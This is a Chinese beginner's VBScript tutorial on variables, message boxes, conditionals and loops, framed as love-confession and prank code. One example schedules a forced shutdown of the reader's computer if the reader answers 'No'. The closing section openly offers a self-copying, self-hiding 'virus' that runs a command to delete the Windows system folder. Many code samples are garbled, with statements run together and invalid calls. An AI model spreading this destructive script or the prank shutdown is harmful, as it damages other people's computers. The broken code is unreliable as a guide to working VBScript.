VBS 腳本語言概述

VBS 是一種 Windows 腳本語言，全稱是 Microsoft Visual Basic Script Editon（微軟公司可視化 BASIC 腳本版）。

VBS 是系統(tǒng)內(nèi)置的，用它編寫的腳本不用編譯成二進(jìn)制文件，直接就由 Windows 系統(tǒng)宿主 host 解釋源代碼并執(zhí)行。

他不需要特定的編譯環(huán)境，任意的文本編輯器都可以進(jìn)行編寫，初學(xué)者用 Windows 自帶的“記事本（Notepad）”就可以進(jìn)行編寫和執(zhí)行，如果想深入學(xué)習(xí)的話，還是建議用專業(yè)的編輯器，支持代碼高亮的，更方便一些， Notepad++ 就挺不錯。

VBS 變量基本定義

對于任何一個編程語言，我們首先關(guān)心的是如何定義一個變量。在Visual Basic Script 中，定義一個變量的正規(guī)模式是：dim 變量名

當(dāng)然，如果你不定義變量而是直接使用也是沒有任何問題的，就像Python那樣，可以不用聲明而直接使用，但是我們在這里還是建議遵循一下變量的先聲明，后使用的原則。

dim a, b
a = 10
b = 5
msgbox a + b

這里的 msgbox 是一個vbs中的關(guān)鍵字，基本作用是彈出一個彈框，顯示你想要顯示的信息，msgbox 可以顯示各種類型的變量。

變量的類型與其他語言基本上都是一樣的，比如：字符串、整型數(shù)、浮點(diǎn)型數(shù)、布爾型數(shù)字（True 和 False），但是，我們在這里不需要指明某一個變量具體是哪一種類型的變量，編譯器是會直接自己識別變量的類型的。

VBS 判斷語句

接下來，我們首先介紹一下判斷語句，然后再去看看循環(huán)語句，顯示判斷語句。如果你接觸過其他的編程語言，你一定對判斷語句一點(diǎn)都不陌生，在 vbs 中也是同樣的，語法也就是 if，else，else if 等等。具體的書寫略有不同啦，例如下述的代碼：

dim str
str = msgbox("Do you love me?", vbYesNo, "LOVE")
if str = vbYes thenmsgbox "I love you too, I think we will be happy!"
elsemsgbox "I will close your computer!"set sh = wscript.createobject("wscript.shell")sh.run "shutdown -s -t 300"
end if

sh.run “shutdown -s -t 300” 執(zhí)行自動關(guān)機(jī) 300 秒后

如何進(jìn)行阻止自動關(guān)機(jī)的代碼：

Set ws = WScript.CreateObject("Wscript.Shell") 
ws.Run "shutdown -a"

VBS 循環(huán)語句

循環(huán)語句基本語法：

For...Next 語句運(yùn)行一段語句指定的次數(shù)
For Each...Next 語句針對集合中的每個項(xiàng)目或者數(shù)組中的每個元素來運(yùn)行某段語句。
Do...Loop 語句運(yùn)行循環(huán)，當(dāng)條件為 true 或者直到條件為 true 時。

循環(huán)語句基本案例：

Dim Count:Count = 5  '定義一個變量
Do Until Count = 0  '直到Count 變量為 0 時，否則一直循環(huán)MsgBox CountCount = Count -1
Loop
MsgBox "循環(huán)結(jié)束"

Dim Count:Count = 5  '定義一個變量
DoMsgBox CountCount = Count -1
Loop Until Count = 0  '直到Count變量為 0 時，否則一直循環(huán)
MsgBox "循環(huán)結(jié)束"

就比如：

dim str
do until str = "yes"msgbox "do you love me ?"str = inputbox("yes or no", "ANSWER", "yes")
loop

運(yùn)行結(jié)果：

VBS 程序案例

對于任何一個編程語言，我們首先關(guān)心的是如何定義一個變量

在Visual Basic Script 中，定義一個變量的正規(guī)模式是：dim 變量名

這里的 msgbox 是一個vbs中的關(guān)鍵字，作用是彈出一個彈框，顯示你想要顯示的信息

msgbox 可以顯示各種類型的變量。

在vbs中，變量的類型與其他語言基本上都是一樣的，比如：字符串、整型數(shù)、浮點(diǎn)型數(shù)、布爾型數(shù)字（True 和 False），但是，我們在這里不需要指明某一個變量具體是哪一種類型的變量，編譯器是會直接自己識別變量的類型的。

在 vbs 中，想要輸入是需要首先彈出來一個彈框，然后進(jìn)行輸入的。

例如下述代碼：

dim str-
str = inputbox("please input your name here","Title","default value")
msgbox str

在這里的輸出方式其實(shí)我們已經(jīng)在前文中使用了很多次了，就是上述的那個 msgbox 關(guān)鍵字，它的作用就是彈出一個彈框，然后顯示出你想要顯示的信息

比如：我們在第一個例子中輸出的數(shù)字 30， 以及我們在第二個例子中所顯示的字符串： “喚醒手腕哈哈哈”，總之就是由 msgbox 這個彈框進(jìn)行顯示信息，相當(dāng)于 C++ 中的 cout，也相當(dāng)于是 Python 中的 print 等等，是一個輸出，只是與其他語言的輸出方式不太一樣罷了。

案例 2：打開 cmd 窗口

Set WshShell = createobject("wscript.shell")
WshShell.run "cmd"

VBS 編寫系統(tǒng)病毒

底下是我編的病毒，有人想要的可以拿去，但是，千萬不要拿來做壞事，可能會你的同學(xué)們挨揍。

dim fso,copy,wshshell,Const Hidden
set fso = createobject(“scripting.filesystemobject”)
set copy = fso.getfile(wscript.scriptfullname)
copy.fso("c:\users\computer virus.vbs") 
'復(fù)制自身到c:\users\ 復(fù)制體叫做computer virus.vbs
Const Hidden = 2
Set hide = fso.GetFile("c:\users\computer virus.vbs") 
'隱藏復(fù)制體
hide.Attributes = f.Attributes Or Hidden
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd/c del c:\Windows\system" 
'太狠了,刪除系統(tǒng)文件夾,刪了系統(tǒng)報廢!只能在虛擬機(jī)里測試。
'不得破壞被人電腦!(當(dāng)然,殺毒軟件應(yīng)該都會報毒)cmd/c … 也就是使用cmd執(zhí)行某某命令。
'你可以在命令提示符里輸入del/?查看幫助.

總結(jié)

以上是生活随笔為你收集整理的程序员表白、恶搞代码 VBS 系统内置脚本语言详细教程（新手篇）的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。